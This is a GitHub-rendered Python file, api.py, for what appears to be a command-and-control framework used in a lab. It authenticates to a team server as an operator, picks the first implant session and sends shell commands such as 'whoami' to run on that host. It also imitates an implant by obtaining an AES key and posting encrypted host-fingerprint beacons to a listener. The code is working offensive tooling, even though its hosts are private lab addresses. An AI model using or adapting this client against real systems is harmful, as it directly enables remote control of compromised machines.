Repository navigation
Expand file tree
/
Copy pathapi.py
More file actions
119 lines (103 loc) · 3.18 KB
/
Copy pathapi.py
File metadata and controls
119 lines (103 loc) · 3.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import requests
import urllib3
from implant.aes import build_implant_body
operator_key = ''
aes_key = ''
team_server_url = 'http://192.168.15.21:9000'
implant_listener_url = 'http://192.168.15.21:9090'
listener_response_template = ''
urllib3.disable_warnings()
def team_server_example(command):
"""
Example: list active sessions and then use the first session to
run a command.
"""
user, password, secret = operator_key.split(':', 2)
base = team_server_url.rstrip('/')
token = requests.post(
f'{base}/auth/login',
json={'user': user, 'pass': password, 'secret': secret},
verify=False,
).json()['access_token']
headers = {'Authorization': f'Bearer {token}'}
hosts = requests.get(
f'{base}/api/sessions/',
params={'mode': 'default', 'long_polling': False},
headers=headers,
verify=False,
).json().get('sessions') or []
try:
tag = hosts[0]['tag']
return requests.post(
f'{base}/api/terminal/',
json={'command': command, 'host_tag': tag, 'source_terminal': 'api'},
headers=headers,
verify=False,
timeout=120,
).json()
except IndexError:
return 'No hosts found'
def implant_example(command):
"""
Example: create an AES key to communicate with the server and then
send fingerprinting to the server. This is the process done by the
implant, the difference is that the AES key is generated during
compile time.
"""
global aes_key
user, password, secret = operator_key.split(':', 2)
base = team_server_url.rstrip('/')
token = requests.post(
f'{base}/auth/login',
json={'user': user, 'pass': password, 'secret': secret},
verify=False,
).json()['access_token']
headers = {'Authorization': f'Bearer {token}'}
if not aes_key:
aes_key = requests.post(
f'{base}/api/aes/create',
json={},
headers=headers,
verify=False,
).json()['aesKey']
body = build_implant_body(
aes_key,
{
'option': 'new',
'tag': 'demo01',
'ip': '',
'external_ip': '',
'hostname': 'fake-fp',
'user': 'lab',
'arch': 'x64',
'pid': 1,
'os': 'windows',
'listener': 'http',
'delay': 2,
'notes': command,
'implant_config': {
'channel': 'http',
'host': '127.0.0.1',
'port': '9090',
'host_tag': 'demo01',
'delay': 2,
},
'metadata': {
'relays': [],
'privilege': 'default',
'internal_ip': '127.0.0.1',
'host': '127.0.0.1',
'port': '9090',
},
},
)
response = requests.post(
implant_listener_url.rstrip('/') + '/',
data=body,
headers={'Content-Type': 'application/octet-stream'},
verify=False,
)
return response.status_code
if __name__ == '__main__':
print(team_server_example('whoami'))
print(implant_example('probe'))